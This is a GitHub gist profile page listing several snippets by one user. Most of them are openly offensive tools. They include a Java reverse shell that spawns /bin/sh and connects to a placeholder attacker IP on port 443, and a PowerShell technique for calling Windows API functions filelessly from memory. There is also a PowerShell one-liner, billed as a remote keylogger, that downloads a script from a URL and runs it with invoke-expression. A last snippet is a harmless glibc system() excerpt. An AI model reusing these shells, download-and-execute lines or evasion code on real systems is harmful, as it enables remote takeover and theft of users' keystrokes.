Skip to content

Instantly share code, notes, and snippets.

View AddaxSoft's full-sized avatar
💭
<XSSing

A.K. AddaxSoft

💭
<XSSing
View GitHub Profile
import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket;
public class C {
public C() throws Exception {
String host="ATTACKER IP HERE"; int port=443; String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
@AddaxSoft
AddaxSoft / fileless WinAPI Call in PowerShell
Last active November 6, 2021 15:08
calling Win API from memory completely fileless
# https://exploitmonday.blogspot.com/2012/05/accessing-native-windows-api-in.html
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $functionDelegateTypeType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
@AddaxSoft
AddaxSoft / powershell-keylogger.ps1
Created February 25, 2021 12:09
simple and effective 1-liner remote keylogger using PowerShell
$url="https://gist.githubusercontent.com/dasgoll/7ca1c059dd3b3fbc7277/raw/e4e3a530589dac67ab6c4c2428ea90de93b86018/gistfile1.txt"; $p=[System.Net.WebRequest]::GetSystemWebProxy();$p.Credentials=[System.Net.CredentialCache]::DefaultCredentials; $c=new-object system.net.WebClient;$c.proxy=$p;$x=$c.downloadstring($url);invoke-expression $x;
@AddaxSoft
AddaxSoft / sysdeps\posix\system.c
Last active August 29, 2015 14:01 — forked from vanhoefm/sysdeps\posix\system.c
Typo correction SELL_PATH => SHELL_PATH
#define SHELL_PATH "/bin/sh" /* Path of the shell. */
#define SHELL_NAME "sh" /* Name to give it. */
static int do_system(const char *line)
{
if (fork() == 0) {
const char *new_argv[4];
new_argv[0] = SHELL_NAME;
new_argv[1] = "-c";
new_argv[2] = line;